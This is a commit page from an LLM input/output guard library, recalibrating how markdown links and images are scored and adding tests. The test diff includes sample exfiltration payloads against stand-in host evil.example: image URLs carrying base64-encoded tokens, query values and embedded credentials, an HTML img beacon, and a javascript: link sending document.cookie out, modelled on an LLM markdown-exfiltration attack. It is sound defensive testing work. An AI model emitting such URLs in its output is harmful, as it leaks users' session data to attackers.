1
0
Fork 0

fix(calibration): grade active content on URL shape, not construct type

v0.3.0 made the untrusted upload path unusable: measured on both doors, an
ordinary remote image fail_secure'd and an ordinary link/autolink/refdef
quarantined, so only documents without external references persisted.

Two independent defects compounded; neither fix works alone:

1. `markdown-image: HIGH` fired on any external image. The exfil primitive is a
   URL that moves bytes outward, not an image. `is_ordinary_url` now grades on
   shape - http(s)/protocol-relative, no query, no userinfo, no percent-escape,
   no opaque host label or path segment -> LOW; anything data-carrying keeps the
   carrier's severity. raw-html and data: URIs stay HIGH unconditionally.
   Opacity reuses entropy's primitives; floors calibrated against real doc URLs
   (worst legit token H=4.08, exfil segments 4.36-4.54) and frozen in
   calibration.

2. The quarantine_default floor fired on ANY finding, a premise that broke when
   every ordinary link became a finding. It now fires at MEDIUM+ - a no-op for
   every detector that shipped before 0.3.0 (no LOW/INFO exists), which is what
   makes this a patch rather than a minor.

The corpus blind spot that let this pass 522 green tests is closed: the FP
corpus carries realistic markdown and is asserted on the OUTPUT gate under
PRESET_USER_UPLOAD, with a counter-corpus of exfil-shaped URLs that must still
block. Beaconing and short opaque segments are conceded in LIMITATIONS and
asserted by the coverage matrix rather than papered over.

No new public API; no new preset (0.4.0 work); allow_reserved default unchanged.
This commit is contained in:
Kjell Tore Guttormsen 2026-07-25 15:36:02 +02:00
commit 6e9b8168e3
13 changed files with 533 additions and 46 deletions

View file

@ -22,6 +22,7 @@ import pytest
from llm_ingestion_guard import (
prepare_input,
scan_output,
screen_output,
decide,
Report,
Source,
@ -103,6 +104,27 @@ _FALSE_POSITIVE = [
'export API_TOKEN="${VAULT_TOKEN}" # injected at deploy time'),
("checksum-high-entropy",
"Artifact sha256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"),
# --- ordinary markdown: the carriers every real document is made of -------
# 0.3.0 shipped with none of these in the corpus, which is how a regression
# that fail-secured an ordinary remote image passed a green suite.
("doc-ordinary-link",
"# Deployment\n\nSee [the deployment guide]"
"(https://learn.microsoft.com/en-us/azure/machine-learning/overview) for details.\n"),
("doc-ordinary-image",
"# Architecture\n\n![architecture diagram](https://example.com/diagrams/pipeline.png)\n"),
("doc-autolink",
"# Sources\n\nSpecification: <https://example.com/spec/v2>\n"),
("doc-reference-link",
"# Notes\n\nSee [the doc][guide] before deploying.\n\n"
"[guide]: https://example.com/docs/deployment-guide\n"),
("doc-anchor-and-relative",
"# Contents\n\n- [When is a DPIA required?](#when-is-a-dpia-required)\n"
"- ![logo](images/logo.png)\n- [sibling note](./notes.md)\n"),
("doc-mixed-markdown",
"# Release notes\n\n- [Table of contents](#table-of-contents)\n"
"- [upstream changelog](https://example.com/changelog)\n"
"- ![build status](https://example.com/badges/build.svg)\n\n"
"Archive: <https://example.com/releases>\n"),
]
@ -113,6 +135,68 @@ def test_false_positive_is_not_blocked_under_trusted(cid, text):
f"{cid} wrongly disposed {decision.disposition.value}: {decision.reasons}")
@pytest.mark.parametrize("cid,text", _FALSE_POSITIVE, ids=[c[0] for c in _FALSE_POSITIVE])
def test_false_positive_is_not_blocked_on_the_upload_gate(cid, text):
"""The blind spot 0.3.0 shipped through: the *output* gate under the *upload*
preset. The trusted assertion above cannot see a calibration regression —
every non-CRITICAL finding WARNs under trust — and it drives ``_scan_input``,
so ``scan_output`` step 6, where ``active_content`` actually lives, was never
reached. An ordinary technical document must persist unattended here."""
decision = screen_output(text, PRESET_USER_UPLOAD)
assert decision.disposition is Disposition.WARN, (
f"{cid} wrongly disposed {decision.disposition.value}: {decision.reasons}")
# --- counter-corpus: exfil-SHAPED URLs must keep hard-failing ---------------
# The dangerous half of the 0.3.1 recalibration. Loosening ordinary carriers is
# only honest if the EchoLeak class still blocks, so every URL form that can
# carry bytes outward is asserted here — a false negative reopens CVE-2025-32711.
_EXFIL_B64 = base64.b64encode(b"stolen session token value").decode().rstrip("=")
_EXFIL_SHAPED = [
("query-carries-value",
"![chart](https://evil.example/collect?d=user-account-identifier)",
Disposition.FAIL_SECURE),
("base64-payload-in-path",
f"![chart](https://evil.example/{_EXFIL_B64}/pixel.png)",
Disposition.FAIL_SECURE),
("percent-encoded-payload",
"![chart](https://evil.example/p/%73%65%63%72%65%74%76%61%6c%75%65)",
Disposition.FAIL_SECURE),
("high-entropy-subdomain",
f"![chart](https://{_EXFIL_B64}.evil.example/pixel.png)",
Disposition.FAIL_SECURE),
("userinfo-in-authority",
"![chart](https://token:s3cr3tvalue@evil.example/pixel.png)",
Disposition.FAIL_SECURE),
("raw-html-img-unconditional",
'<img src="https://evil.example/pixel.png">',
Disposition.FAIL_SECURE),
("data-uri-unconditional",
"payload data:text/html;base64,PHN2Zz4= end",
Disposition.FAIL_SECURE),
("exfil-link-carries-value",
"[click](https://evil.example/collect?session=abcdefghijklmnop)",
Disposition.QUARANTINE_REVIEW),
# A `javascript:` URI hard-fails on the lexicon (hybrid-xss:javascript-uri,
# HIGH) independently of active_content — recalibrating URL *shape* must not
# weaken it, so it is asserted at the disposition it already reaches.
("dangerous-scheme-link",
"[click](javascript:fetch('https://evil.example/'+document.cookie))",
Disposition.FAIL_SECURE),
]
@pytest.mark.parametrize("cid,payload,expected", _EXFIL_SHAPED,
ids=[c[0] for c in _EXFIL_SHAPED])
def test_exfil_shaped_url_still_blocks_on_the_upload_gate(cid, payload, expected):
decision = screen_output(payload, PRESET_USER_UPLOAD)
assert decision.disposition is expected, (
f"{cid} disposed {decision.disposition.value}, want {expected.value}: "
f"{decision.reasons}")
def test_hard_fail_is_an_explicit_opt_in():
# the SAME non-critical finding warns under a trusted source but escalates to
# quarantine under the high-untrust upload preset — disposition is a policy